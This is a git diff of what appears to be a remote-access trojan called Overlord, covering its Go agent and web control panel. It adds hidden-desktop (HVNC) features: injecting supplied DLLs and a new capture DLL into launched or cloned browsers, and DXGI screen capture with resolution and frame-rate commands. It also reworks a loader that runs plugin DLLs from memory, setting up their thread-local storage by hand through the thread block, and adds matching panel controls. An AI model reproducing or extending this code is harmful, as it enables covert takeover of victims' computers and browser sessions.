diff --git a/Overlord-Client/cmd/agent/config/config.go b/Overlord-Client/cmd/agent/config/config.go
index d8d435a..1549c23 100644
--- a/Overlord-Client/cmd/agent/config/config.go
+++ b/Overlord-Client/cmd/agent/config/config.go
@@ -17,7 +17,7 @@ import (
"time"
)
-var AgentVersion = "1.8.4"
+var AgentVersion = "1.8.6"
var DefaultPersistence = "false"
var DefaultServerURL = "wss://127.0.0.1:5173"
diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go
index 30f344f..9ae431a 100644
--- a/Overlord-Client/cmd/agent/handlers/command.go
+++ b/Overlord-Client/cmd/agent/handlers/command.go
@@ -470,6 +470,21 @@ func extractDLLBytes(payload map[string]interface{}) []byte {
return nil
}
+func extractCaptureDLLBytes(payload map[string]interface{}) []byte {
+ if payload == nil {
+ return nil
+ }
+ switch v := payload["capture_dll"].(type) {
+ case []byte:
+ return v
+ case string:
+ if len(v) > 0 {
+ return []byte(v)
+ }
+ }
+ return nil
+}
+
func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error {
cmdID, _ := envelope["id"].(string)
action, _ := envelope["commandType"].(string)
@@ -977,6 +992,30 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
_ = HVNCCursorControl(ctx, env, enabled)
sendCommandResultSafe(env, cmdID, true, "")
return nil
+ case "hvnc_enable_dxgi":
+ payload, _ := envelope["payload"].(map[string]interface{})
+ dxgiEnabled := true
+ if payload != nil {
+ if v, ok := payload["enabled"].(bool); ok {
+ dxgiEnabled = v
+ }
+ }
+ log.Printf("hvnc: DXGI capture %v", dxgiEnabled)
+ capture.SetHVNCDXGIEnabled(dxgiEnabled)
+ sendCommandResultSafe(env, cmdID, true, "")
+ return nil
+ case "hvnc_set_resolution":
+ payload, _ := envelope["payload"].(map[string]interface{})
+ maxH := 1080
+ if payload != nil {
+ if v, ok := payloadInt(payload, "maxHeight"); ok {
+ maxH = v
+ }
+ }
+ log.Printf("hvnc: set resolution maxHeight=%d", maxH)
+ capture.SetMaxResolution(maxH)
+ sendCommandResultSafe(env, cmdID, true, "")
+ return nil
case "hvnc_set_quality":
payload, _ := envelope["payload"].(map[string]interface{})
quality := 90
@@ -1437,10 +1476,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
sendCommandResultSafe(env, cmdID, false, "no DLL provided")
return nil
}
- log.Printf("hvnc: start process injected %q search=%q replace=%q dllSize=%d", filePath, searchPath, replacePath, len(dllBytes))
+ captureDllBytes := extractCaptureDLLBytes(payload)
+ log.Printf("hvnc: start process injected %q search=%q replace=%q dllSize=%d captureDllSize=%d", filePath, searchPath, replacePath, len(dllBytes), len(captureDllBytes))
sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_start_process_injected", nil, func() {
- if err := capture.StartHVNCProcessInjected(filePath, dllBytes, searchPath, replacePath); err != nil {
+ if err := capture.StartHVNCProcessInjected(filePath, dllBytes, captureDllBytes, searchPath, replacePath); err != nil {
log.Printf("hvnc: injected process failed for %q: %v", filePath, err)
}
})
@@ -1460,9 +1500,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
return nil
}
log.Printf("hvnc: start chrome injected path=%q dllSize=%d", chromePath, len(dllBytes))
+ captureDllBytes := extractCaptureDLLBytes(payload)
sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_start_chrome_injected", nil, func() {
- if err := capture.StartHVNCChromeInjected(chromePath, dllBytes); err != nil {
+ if err := capture.StartHVNCChromeInjected(chromePath, dllBytes, captureDllBytes); err != nil {
log.Printf("hvnc: chrome injected failed: %v", err)
}
})
@@ -1502,6 +1543,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
return nil
}
log.Printf("hvnc: start browser injected browser=%q path=%q clone=%v cloneLite=%v killIfRunning=%v dllSize=%d", browser, exePath, clone, cloneLite, killIfRunning, len(dllBytes))
+ captureDllBytes := extractCaptureDLLBytes(payload)
sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_start_browser_injected", nil, func() {
var onProgress capture.CloneProgressFunc
@@ -1517,7 +1559,15 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
})
}
}
- if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, clone, cloneLite, killIfRunning, onProgress); err != nil {
+ onDXGIStatus := func(success bool, gpuPID uint32, message string) {
+ _ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCDXGIStatus{
+ Type: "hvnc_dxgi_status",
+ Success: success,
+ GPUPid: gpuPID,
+ Message: message,
+ })
+ }
+ if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, captureDllBytes, clone, cloneLite, killIfRunning, onProgress, onDXGIStatus); err != nil {
log.Printf("hvnc: browser injected failed for %q: %v", browser, err)
}
})
diff --git a/Overlord-Client/cmd/agent/handlers/hvnc.go b/Overlord-Client/cmd/agent/handlers/hvnc.go
index cf22201..1aca3ea 100644
--- a/Overlord-Client/cmd/agent/handlers/hvnc.go
+++ b/Overlord-Client/cmd/agent/handlers/hvnc.go
@@ -27,7 +27,7 @@ func GetPersistedHVNCDisplay() int {
}
func HVNCStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error {
- interval, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 30)
+ interval, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 120)
capture.SetH264TargetFPS(fps)
log.Printf("hvnc: starting stream (max fps %d)", fps)
diff --git a/Overlord-Client/cmd/agent/plugins/loader_windows.go b/Overlord-Client/cmd/agent/plugins/loader_windows.go
index 977a38d..9ace27b 100644
--- a/Overlord-Client/cmd/agent/plugins/loader_windows.go
+++ b/Overlord-Client/cmd/agent/plugins/loader_windows.go
@@ -5,7 +5,7 @@ package plugins
import (
"errors"
"fmt"
- "sync"
+ "runtime"
"syscall"
"unsafe"
)
@@ -15,59 +15,96 @@ func loadNativePlugin(data []byte) (NativePlugin, error) {
return nil, errors.New("empty plugin binary")
}
- mm, err := LoadMemoryModule(data)
- if err != nil {
- return nil, fmt.Errorf("pe load: %w", err)
+ type initResult struct {
+ dp *dllPlugin
+ err error
}
+ ch := make(chan initResult, 1)
- if err := mm.CallEntryPoint(dllProcessAttach); err != nil {
- mm.Free()
- return nil, fmt.Errorf("DllMain init: %w", err)
- }
+ go func() {
+ runtime.LockOSThread()
- onLoad, err := mm.GetExport("PluginOnLoad")
- if err != nil {
- mm.Free()
- return nil, err
- }
- onEvent, err := mm.GetExport("PluginOnEvent")
- if err != nil {
- mm.Free()
- return nil, err
- }
- onUnload, err := mm.GetExport("PluginOnUnload")
- if err != nil {
- mm.Free()
- return nil, err
- }
+ mm, err := LoadMemoryModule(data)
+ if err != nil {
+ ch <- initResult{err: fmt.Errorf("pe load: %w", err)}
+ runtime.UnlockOSThread()
+ return
+ }
- setCallback, _ := mm.GetExport("PluginSetCallback")
+ if err := mm.CallEntryPoint(dllProcessAttach); err != nil {
+ mm.Free()
+ ch <- initResult{err: fmt.Errorf("DllMain init: %w", err)}
+ runtime.UnlockOSThread()
+ return
+ }
- runtime := "go"
- if getRuntimeAddr, err := mm.GetExport("PluginGetRuntime"); err == nil {
- ret, _, _ := syscall.SyscallN(getRuntimeAddr)
- if ret != 0 {
- var buf [32]byte
- for i := range buf {
- b := *(*byte)(unsafe.Pointer(ret + uintptr(i)))
- if b == 0 {
- runtime = string(buf[:i])
- break
+ onLoad, err := mm.GetExport("PluginOnLoad")
+ if err != nil {
+ mm.Free()
+ ch <- initResult{err: err}
+ runtime.UnlockOSThread()
+ return
+ }
+ onEvent, err := mm.GetExport("PluginOnEvent")
+ if err != nil {
+ mm.Free()
+ ch <- initResult{err: err}
+ runtime.UnlockOSThread()
+ return
+ }
+ onUnload, err := mm.GetExport("PluginOnUnload")
+ if err != nil {
+ mm.Free()
+ ch <- initResult{err: err}
+ runtime.UnlockOSThread()
+ return
+ }
+
+ setCallback, _ := mm.GetExport("PluginSetCallback")
+
+ rt := "go"
+ if getRuntimeAddr, err := mm.GetExport("PluginGetRuntime"); err == nil {
+ ret, _, _ := syscall.SyscallN(getRuntimeAddr)
+ if ret != 0 {
+ var buf [32]byte
+ for i := range buf {
+ b := *(*byte)(unsafe.Pointer(ret + uintptr(i)))
+ if b == 0 {
+ rt = string(buf[:i])
+ break
+ }
+ buf[i] = b
}
- buf[i] = b
}
}
- }
- dp := &dllPlugin{
- mem: mm,
- onLoadAddr: onLoad,
- onEventAddr: onEvent,
- onUnloadAddr: onUnload,
- setCallbackAddr: setCallback,
- pluginRuntime: runtime,
+ dp := &dllPlugin{
+ mem: mm,
+ onLoadAddr: onLoad,
+ onEventAddr: onEvent,
+ onUnloadAddr: onUnload,
+ setCallbackAddr: setCallback,
+ pluginRuntime: rt,
+ workCh: make(chan pluginWork),
+ }
+
+ ch <- initResult{dp: dp}
+
+ dp.workerLoop()
+
+ runtime.UnlockOSThread()
+ }()
+
+ res := <-ch
+ if res.err != nil {
+ return nil, res.err
}
- return dp, nil
+ return res.dp, nil
+}
+
+type pluginWork struct {
+ fn func() error
+ done chan error
}
type dllPlugin struct {
@@ -78,76 +115,94 @@ type dllPlugin struct {
setCallbackAddr uintptr
callbackHandle uintptr // prevent GC of the callback closure
pluginRuntime string // "go", "c", "cpp", etc.
- mu sync.Mutex
+ workCh chan pluginWork
+}
+
+func (p *dllPlugin) workerLoop() {
+ for w := range p.workCh {
+ w.done <- w.fn()
+ }
+}
+
+func (p *dllPlugin) runOnWorker(fn func() error) error {
+ done := make(chan error, 1)
+ p.workCh <- pluginWork{fn: fn, done: done}
+ return <-done
}
func (p *dllPlugin) Load(send func(string, []byte), hostInfo []byte) error {
- p.mu.Lock()
- defer p.mu.Unlock()
+ return p.runOnWorker(func() error {
+ // Create a stdcall callback the DLL can invoke to send events to the host.
+ cb := syscall.NewCallback(func(eventPtr, eventLen, payloadPtr, payloadLen uintptr) uintptr {
+ event := make([]byte, eventLen)
+ if eventLen > 0 {
+ copy(event, unsafe.Slice((*byte)(unsafe.Pointer(eventPtr)), eventLen))
+ }
+ payload := make([]byte, payloadLen)
+ if payloadLen > 0 {
+ copy(payload, unsafe.Slice((*byte)(unsafe.Pointer(payloadPtr)), payloadLen))
+ }
+ send(string(event), payload)
+ return 0
+ })
+ p.callbackHandle = cb
- // Create a stdcall callback the DLL can invoke to send events to the host.
- cb := syscall.NewCallback(func(eventPtr, eventLen, payloadPtr, payloadLen uintptr) uintptr {
- event := make([]byte, eventLen)
- if eventLen > 0 {
- copy(event, unsafe.Slice((*byte)(unsafe.Pointer(eventPtr)), eventLen))
+ if p.setCallbackAddr != 0 {
+ syscall.SyscallN(p.setCallbackAddr, cb)
}
- payload := make([]byte, payloadLen)
- if payloadLen > 0 {
- copy(payload, unsafe.Slice((*byte)(unsafe.Pointer(payloadPtr)), payloadLen))
+
+ var infoPtr uintptr
+ infoLen := uintptr(len(hostInfo))
+ if len(hostInfo) > 0 {
+ infoPtr = uintptr(unsafe.Pointer(&hostInfo[0]))
}
- send(string(event), payload)
- return 0
+ ret, _, _ := syscall.SyscallN(p.onLoadAddr, infoPtr, infoLen, cb)
+ if int32(ret) != 0 {
+ return errors.New("PluginOnLoad returned non-zero")
+ }
+ return nil
})
- p.callbackHandle = cb
-
- if p.setCallbackAddr != 0 {
- syscall.SyscallN(p.setCallbackAddr, cb)
- }
-
- var infoPtr uintptr
- infoLen := uintptr(len(hostInfo))
- if len(hostInfo) > 0 {
- infoPtr = uintptr(unsafe.Pointer(&hostInfo[0]))
- }
- ret, _, _ := syscall.SyscallN(p.onLoadAddr, infoPtr, infoLen, cb)
- if int32(ret) != 0 {
- return errors.New("PluginOnLoad returned non-zero")
- }
- return nil
}
func (p *dllPlugin) Event(event string, payload []byte) error {
- p.mu.Lock()
- defer p.mu.Unlock()
-
eventBytes := []byte(event)
- var eventPtr, payloadPtr uintptr
- eventLen := uintptr(len(eventBytes))
- payloadLen := uintptr(len(payload))
- if len(eventBytes) > 0 {
- eventPtr = uintptr(unsafe.Pointer(&eventBytes[0]))
- }
- if len(payload) > 0 {
- payloadPtr = uintptr(unsafe.Pointer(&payload[0]))
- }
+ payloadCopy := make([]byte, len(payload))
+ copy(payloadCopy, payload)
- ret, _, _ := syscall.SyscallN(p.onEventAddr, eventPtr, eventLen, payloadPtr, payloadLen)
- if int32(ret) != 0 {
- return errors.New("PluginOnEvent returned non-zero")
- }
+ go func() {
+ runtime.LockOSThread()
+ defer runtime.UnlockOSThread()
+
+ cleanup := p.mem.SetupThreadTLS()
+ defer cleanup()
+
+ var eventPtr, payloadPtr uintptr
+ eventLen := uintptr(len(eventBytes))
+ payloadLen := uintptr(len(payloadCopy))
+ if len(eventBytes) > 0 {
+ eventPtr = uintptr(unsafe.Pointer(&eventBytes[0]))
+ }
+ if len(payloadCopy) > 0 {
+ payloadPtr = uintptr(unsafe.Pointer(&payloadCopy[0]))
+ }
+
+ syscall.SyscallN(p.onEventAddr, eventPtr, eventLen, payloadPtr, payloadLen)
+ }()
return nil
}
func (p *dllPlugin) Unload() {
- p.mu.Lock()
- defer p.mu.Unlock()
- if p.onUnloadAddr != 0 {
- syscall.SyscallN(p.onUnloadAddr)
- }
+ _ = p.runOnWorker(func() error {
+ if p.onUnloadAddr != 0 {
+ syscall.SyscallN(p.onUnloadAddr)
+ }
+ return nil
+ })
}
func (p *dllPlugin) Close() error {
p.Unload()
+ close(p.workCh)
if p.pluginRuntime != "go" {
if p.mem != nil {
p.mem.Free()
diff --git a/Overlord-Client/cmd/agent/plugins/peloader_windows.go b/Overlord-Client/cmd/agent/plugins/peloader_windows.go
index dc02db7..d88a46a 100644
--- a/Overlord-Client/cmd/agent/plugins/peloader_windows.go
+++ b/Overlord-Client/cmd/agent/plugins/peloader_windows.go
@@ -5,6 +5,7 @@ package plugins
import (
"errors"
"fmt"
+ "overlord-client/cmd/agent/plugins/teb"
"syscall"
"unsafe"
@@ -123,14 +124,18 @@ type imageTLSDirectory64 struct {
}
type MemoryModule struct {
- base uintptr
- size uintptr
- entryPoint uintptr
- exports map[string]uintptr
- importDLLs []windows.Handle
- initialized bool
- tlsIndex uint32
- tlsData uintptr
+ base uintptr
+ size uintptr
+ entryPoint uintptr
+ exports map[string]uintptr
+ importDLLs []windows.Handle
+ initialized bool
+ tlsIndex uint32
+ tlsData uintptr
+ tlsArrayAlloc uintptr // our VirtualAlloc'd ThreadLocalStoragePointer array
+ tlsTemplSrc uintptr // PE template raw data start (for copying to new threads)
+ tlsTemplSize uintptr // dataSize (template bytes to copy)
+ tlsTotalSize uintptr // dataSize + zeroFill (total allocation per thread)
}
func LoadMemoryModule(data []byte) (*MemoryModule, error) {
@@ -293,8 +298,8 @@ func (mm *MemoryModule) Free() {
if mm.tlsIndex != 0xFFFFFFFF {
if mm.tlsData != 0 {
_ = windows.VirtualFree(mm.tlsData, 0, windows.MEM_RELEASE)
+ mm.tlsData = 0
}
- procTlsFree.Call(uintptr(mm.tlsIndex))
}
for _, h := range mm.importDLLs {
_ = windows.FreeLibrary(h)
@@ -431,30 +436,78 @@ func (mm *MemoryModule) setupTLS(reason uint32) {
tls := (*imageTLSDirectory64)(unsafe.Pointer(mm.base + uintptr(tlsDir.VirtualAddress)))
- idx, _, _ := procTlsAlloc.Call()
- if idx == 0xFFFFFFFF {
- return
- }
- mm.tlsIndex = uint32(idx)
-
- if tls.AddressOfIndex != 0 {
- *(*uint32)(unsafe.Pointer(uintptr(tls.AddressOfIndex))) = mm.tlsIndex
- }
-
dataSize := uintptr(tls.EndAddressOfRawData - tls.StartAddressOfRawData)
totalSize := dataSize + uintptr(tls.SizeOfZeroFill)
+
+ var tlsData uintptr
if totalSize > 0 {
- tlsData, err := windows.VirtualAlloc(0, totalSize,
+ var err error
+ tlsData, err = windows.VirtualAlloc(0, totalSize,
windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE)
- if err == nil && tlsData != 0 {
- if dataSize > 0 {
- copyMem(tlsData, (*byte)(unsafe.Pointer(uintptr(tls.StartAddressOfRawData))), dataSize)
- }
- procTlsSetValue.Call(uintptr(mm.tlsIndex), tlsData)
- mm.tlsData = tlsData
+ if err != nil || tlsData == 0 {
+ return
+ }
+ if dataSize > 0 {
+ copyMem(tlsData, (*byte)(unsafe.Pointer(uintptr(tls.StartAddressOfRawData))), dataSize)
}
}
+ tebAddr := teb.CurrentTEB()
+ tlsArrayField := (*uintptr)(unsafe.Pointer(tebAddr + 0x58)) // ThreadLocalStoragePointer
+ oldArray := *tlsArrayField
+
+ var newIndex uint32
+ ptrSize := unsafe.Sizeof(uintptr(0))
+
+ if oldArray == 0 {
+ newArray, err := windows.VirtualAlloc(0, ptrSize,
+ windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE)
+ if err != nil || newArray == 0 {
+ if tlsData != 0 {
+ _ = windows.VirtualFree(tlsData, 0, windows.MEM_RELEASE)
+ }
+ return
+ }
+ *(*uintptr)(unsafe.Pointer(newArray)) = tlsData
+ *tlsArrayField = newArray
+ newIndex = 0
+ mm.tlsArrayAlloc = newArray
+ } else {
+ var count uint32
+ for count = 0; count < 256; count++ {
+ entry := *(*uintptr)(unsafe.Pointer(oldArray + uintptr(count)*ptrSize))
+ if entry == 0 {
+ break
+ }
+ }
+ newSize := uintptr(count+1) * ptrSize
+ newArray, err := windows.VirtualAlloc(0, newSize,
+ windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE)
+ if err != nil || newArray == 0 {
+ if tlsData != 0 {
+ _ = windows.VirtualFree(tlsData, 0, windows.MEM_RELEASE)
+ }
+ return
+ }
+ if count > 0 {
+ copyMem(newArray, (*byte)(unsafe.Pointer(oldArray)), uintptr(count)*ptrSize)
+ }
+ *(*uintptr)(unsafe.Pointer(newArray + uintptr(count)*ptrSize)) = tlsData
+ *tlsArrayField = newArray
+ newIndex = count
+ mm.tlsArrayAlloc = newArray
+ }
+
+ if tls.AddressOfIndex != 0 {
+ *(*uint32)(unsafe.Pointer(uintptr(tls.AddressOfIndex))) = newIndex
+ }
+
+ mm.tlsIndex = newIndex
+ mm.tlsData = tlsData
+ mm.tlsTemplSrc = uintptr(tls.StartAddressOfRawData)
+ mm.tlsTemplSize = dataSize
+ mm.tlsTotalSize = totalSize
+
if tls.AddressOfCallBacks != 0 {
cbAddr := uintptr(tls.AddressOfCallBacks)
for {
@@ -468,6 +521,61 @@ func (mm *MemoryModule) setupTLS(reason uint32) {
}
}
+func (mm *MemoryModule) SetupThreadTLS() func() {
+ if mm.tlsIndex == 0xFFFFFFFF || mm.tlsTotalSize == 0 {
+ return func() {}
+ }
+
+ tlsData, err := windows.VirtualAlloc(0, mm.tlsTotalSize,
+ windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE)
+ if err != nil || tlsData == 0 {
+ return func() {}
+ }
+ if mm.tlsTemplSize > 0 {
+ copyMem(tlsData, (*byte)(unsafe.Pointer(mm.tlsTemplSrc)), mm.tlsTemplSize)
+ }
+
+ ptrSize := unsafe.Sizeof(uintptr(0))
+ tebAddr := teb.CurrentTEB()
+ tlsArrayField := (*uintptr)(unsafe.Pointer(tebAddr + 0x58))
+ oldArray := *tlsArrayField
+
+ var newArray uintptr
+ if oldArray == 0 {
+ arrSize := uintptr(mm.tlsIndex+1) * ptrSize
+ newArray, err = windows.VirtualAlloc(0, arrSize,
+ windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE)
+ if err != nil || newArray == 0 {
+ _ = windows.VirtualFree(tlsData, 0, windows.MEM_RELEASE)
+ return func() {}
+ }
+ *(*uintptr)(unsafe.Pointer(newArray + uintptr(mm.tlsIndex)*ptrSize)) = tlsData
+ *tlsArrayField = newArray
+ } else {
+ needed := uintptr(mm.tlsIndex+1) * ptrSize
+ newArray, err = windows.VirtualAlloc(0, needed,
+ windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE)
+ if err != nil || newArray == 0 {
+ _ = windows.VirtualFree(tlsData, 0, windows.MEM_RELEASE)
+ return func() {}
+ }
+ copyMem(newArray, (*byte)(unsafe.Pointer(oldArray)), needed)
+ *(*uintptr)(unsafe.Pointer(newArray + uintptr(mm.tlsIndex)*ptrSize)) = tlsData
+ *tlsArrayField = newArray
+ }
+
+ return func() {
+ _ = windows.VirtualFree(tlsData, 0, windows.MEM_RELEASE)
+ if newArray != 0 {
+ *(*uintptr)(unsafe.Pointer(newArray + uintptr(mm.tlsIndex)*ptrSize)) = 0
+ _ = windows.VirtualFree(newArray, 0, windows.MEM_RELEASE)
+ }
+ tebNow := teb.CurrentTEB()
+ field := (*uintptr)(unsafe.Pointer(tebNow + 0x58))
+ *field = oldArray
+ }
+}
+
func peString(addr uintptr) string {
var buf []byte
for i := 0; i < 4096; i++ { // safety limit
@@ -480,45 +588,42 @@ func peString(addr uintptr) string {
return string(buf)
}
-var (
- modKernel32 = windows.NewLazySystemDLL("kernel32.dll")
- procGetProcAddr = modKernel32.NewProc("GetProcAddress")
- procTlsAlloc = modKernel32.NewProc("TlsAlloc")
- procTlsSetValue = modKernel32.NewProc("TlsSetValue")
- procTlsFree = modKernel32.NewProc("TlsFree")
-)
-
-func getProcByOrdinal(module windows.Handle, ordinal uint16) (uintptr, error) {
- r, _, err := procGetProcAddr.Call(uintptr(module), uintptr(ordinal))
- if r == 0 {
- return 0, fmt.Errorf("GetProcAddress ordinal %d: %w", ordinal, err)
+func copyMem(dst uintptr, src *byte, size uintptr) {
+ for i := uintptr(0); i < size; i++ {
+ *(*byte)(unsafe.Pointer(dst + i)) = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(src)) + i))
}
- return r, nil
}
func sectionProtection(chars uint32) uint32 {
- exec := chars&imageSCNMemExecute != 0
- read := chars&imageSCNMemRead != 0
- write := chars&imageSCNMemWrite != 0
+ r := chars&imageSCNMemRead != 0
+ w := chars&imageSCNMemWrite != 0
+ x := chars&imageSCNMemExecute != 0
switch {
- case exec && write:
+ case x && w:
return windows.PAGE_EXECUTE_READWRITE
- case exec && read:
+ case x && r:
return windows.PAGE_EXECUTE_READ
- case exec:
+ case x:
return windows.PAGE_EXECUTE
- case write:
+ case w:
return windows.PAGE_READWRITE
- case read:
+ case r:
return windows.PAGE_READONLY
default:
return windows.PAGE_NOACCESS
}
}
-func copyMem(dst uintptr, src *byte, size uintptr) {
- dstSlice := unsafe.Slice((*byte)(unsafe.Pointer(dst)), size)
- srcSlice := unsafe.Slice(src, size)
- copy(dstSlice, srcSlice)
+var (
+ modKernel32 = windows.NewLazySystemDLL("kernel32.dll")
+ procGetProcAddr = modKernel32.NewProc("GetProcAddress")
+)
+
+func getProcByOrdinal(module windows.Handle, ordinal uint16) (uintptr, error) {
+ r, _, err := procGetProcAddr.Call(uintptr(module), uintptr(ordinal))
+ if r == 0 {
+ return 0, fmt.Errorf("pe: GetProcAddress ordinal %d: %w", ordinal, err)
+ }
+ return r, nil
}
diff --git a/Overlord-Client/cmd/agent/plugins/teb/teb.go b/Overlord-Client/cmd/agent/plugins/teb/teb.go
new file mode 100644
index 0000000..bdbf833
--- /dev/null
+++ b/Overlord-Client/cmd/agent/plugins/teb/teb.go
@@ -0,0 +1,6 @@
+//go:build windows && amd64
+
+package teb
+
+// CurrentTEB returns the address of the current thread's Thread Environment Block.
+func CurrentTEB() uintptr
diff --git a/Overlord-Client/cmd/agent/plugins/teb/teb_amd64.s b/Overlord-Client/cmd/agent/plugins/teb/teb_amd64.s
new file mode 100644
index 0000000..e77049e
--- /dev/null
+++ b/Overlord-Client/cmd/agent/plugins/teb/teb_amd64.s
@@ -0,0 +1,9 @@
+#include "textflag.h"
+
+// func CurrentTEB() uintptr
+TEXT ·CurrentTEB(SB),NOSPLIT,$0-8
+ // mov rax, gs:[0x30] — read the TEB self-pointer
+ BYTE $0x65; BYTE $0x48; BYTE $0x8B; BYTE $0x04; BYTE $0x25
+ LONG $0x00000030
+ MOVQ AX, ret+0(FP)
+ RET
diff --git a/Overlord-Client/cmd/agent/wire/protocol.go b/Overlord-Client/cmd/agent/wire/protocol.go
index 48ccbe8..719788b 100644
--- a/Overlord-Client/cmd/agent/wire/protocol.go
+++ b/Overlord-Client/cmd/agent/wire/protocol.go
@@ -232,6 +232,13 @@ type HVNCCloneProgress struct {
Status string `msgpack:"status"`
}
+type HVNCDXGIStatus struct {
+ Type string `msgpack:"type"`
+ Success bool `msgpack:"success"`
+ GPUPid uint32 `msgpack:"gpuPid"`
+ Message string `msgpack:"message"`
+}
+
type HVNCLookupResult struct {
Type string `msgpack:"type"`
Exe string `msgpack:"exe"`
diff --git a/Overlord-Server/package.json b/Overlord-Server/package.json
index 49f309e..8f11e24 100644
--- a/Overlord-Server/package.json
+++ b/Overlord-Server/package.json
@@ -1,6 +1,6 @@
{
"name": "overlord-server",
- "version": "1.8.4",
+ "version": "1.8.6",
"private": true,
"type": "module",
"scripts": {
diff --git a/Overlord-Server/public/assets/hvnc.js b/Overlord-Server/public/assets/hvnc.js
index 13540b5..e91a7af 100644
--- a/Overlord-Server/public/assets/hvnc.js
+++ b/Overlord-Server/public/assets/hvnc.js
@@ -58,7 +58,6 @@ import { checkFeatureAccess } from "./feature-gate.js";
const fullscreenBtn = document.getElementById("fullscreenBtn");
const mouseCtrl = document.getElementById("mouseCtrl");
const kbdCtrl = document.getElementById("kbdCtrl");
- const cursorCtrl = document.getElementById("cursorCtrl");
const autoExplorerCtrl = document.getElementById("autoExplorerCtrl");
const qualitySlider = document.getElementById("qualitySlider");
const qualityValue = document.getElementById("qualityValue");
@@ -72,11 +71,14 @@ import { checkFeatureAccess } from "./feature-gate.js";
const viewerFps = document.getElementById("viewerFps");
const statusEl = document.getElementById("streamStatus");
const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl");
+ const dxgiCtrl = document.getElementById("dxgiCtrl");
+ const hvncResolutionSelect = document.getElementById("hvncResolutionSelect");
function syncInputEnableState() {
if (mouseCtrl) sendCmd("hvnc_enable_mouse", { enabled: mouseCtrl.checked });
if (kbdCtrl) sendCmd("hvnc_enable_keyboard", { enabled: kbdCtrl.checked });
- if (cursorCtrl) sendCmd("hvnc_enable_cursor", { enabled: cursorCtrl.checked });
+ if (dxgiCtrl) sendCmd("hvnc_enable_dxgi", { enabled: dxgiCtrl.checked });
+ pushHvncResolution();
}
let activeClientId = clientId;
let renderCount = 0;
@@ -344,6 +346,38 @@ import { checkFeatureAccess } from "./feature-gate.js";
cloneProgressLabel.textContent = `Cloning ${browser} — ${copiedMB} / ${totalMB} MB`;
}
+ const dxgiStatusEl = document.getElementById("dxgiStatus");
+ const dxgiStatusIcon = document.getElementById("dxgiStatusIcon");
+ const dxgiStatusLabel = document.getElementById("dxgiStatusLabel");
+ let dxgiHideTimer = null;
+
+ function handleDXGIStatus(msg) {
+ if (!dxgiStatusEl) return;
+ if (dxgiHideTimer) {
+ clearTimeout(dxgiHideTimer);
+ dxgiHideTimer = null;
+ }
+ dxgiStatusEl.classList.remove("hidden");
+ dxgiStatusEl.classList.add("flex");
+ if (msg.success) {
+ dxgiStatusIcon.className = "fa-solid fa-microchip text-emerald-400";
+ dxgiStatusLabel.textContent = msg.message || "DXGI active";
+ dxgiStatusLabel.className = "text-emerald-300";
+ dxgiHideTimer = setTimeout(() => {
+ dxgiStatusEl.classList.add("hidden");
+ dxgiStatusEl.classList.remove("flex");
+ }, 8000);
+ } else {
+ dxgiStatusIcon.className = "fa-solid fa-microchip text-rose-400";
+ dxgiStatusLabel.textContent = msg.message || "DXGI failed";
+ dxgiStatusLabel.className = "text-rose-300";
+ dxgiHideTimer = setTimeout(() => {
+ dxgiStatusEl.classList.add("hidden");
+ dxgiStatusEl.classList.remove("flex");
+ }, 10000);
+ }
+ }
+
function sendCmd(type, payload) {
if (!activeClientId) {
console.warn("No active client selected");
@@ -558,9 +592,23 @@ import { checkFeatureAccess } from "./feature-gate.js";
kbdCtrl.addEventListener("change", function () {
sendCmd("hvnc_enable_keyboard", { enabled: kbdCtrl.checked });
});
- cursorCtrl.addEventListener("change", function () {
- sendCmd("hvnc_enable_cursor", { enabled: cursorCtrl.checked });
- });
+ if (dxgiCtrl) {
+ dxgiCtrl.addEventListener("change", function () {
+ sendCmd("hvnc_enable_dxgi", { enabled: dxgiCtrl.checked });
+ });
+ }
+
+ function pushHvncResolution() {
+ if (hvncResolutionSelect) {
+ const maxHeight = parseInt(hvncResolutionSelect.value, 10);
+ sendCmd("hvnc_set_resolution", { maxHeight: maxHeight });
+ }
+ }
+ if (hvncResolutionSelect) {
+ hvncResolutionSelect.addEventListener("change", function () {
+ pushHvncResolution();
+ });
+ }
if (qualitySlider) {
updateQualityLabel(qualitySlider.value);
@@ -705,6 +753,10 @@ import { checkFeatureAccess } from "./feature-gate.js";
handleLookupResult(msg);
return;
}
+ if (msg && msg.type === "hvnc_dxgi_status") {
+ handleDXGIStatus(msg);
+ return;
+ }
if (msg && msg.type === "hvnc_error") {
console.error("hvnc: server error:", msg.error || msg.message);
return;
@@ -732,6 +784,10 @@ import { checkFeatureAccess } from "./feature-gate.js";
handleLookupResult(msg);
return;
}
+ if (msg && msg.type === "hvnc_dxgi_status") {
+ handleDXGIStatus(msg);
+ return;
+ }
if (msg && msg.type === "hvnc_error") {
console.error("hvnc: server error:", msg.error || msg.message);
return;
diff --git a/Overlord-Server/public/hvnc.html b/Overlord-Server/public/hvnc.html
index be76cd8..7a4fb46 100644
--- a/Overlord-Server/public/hvnc.html
+++ b/Overlord-Server/public/hvnc.html
@@ -100,6 +100,13 @@
0%
+
+
+ DXGI
+
@@ -128,12 +135,22 @@
-
+
+
+
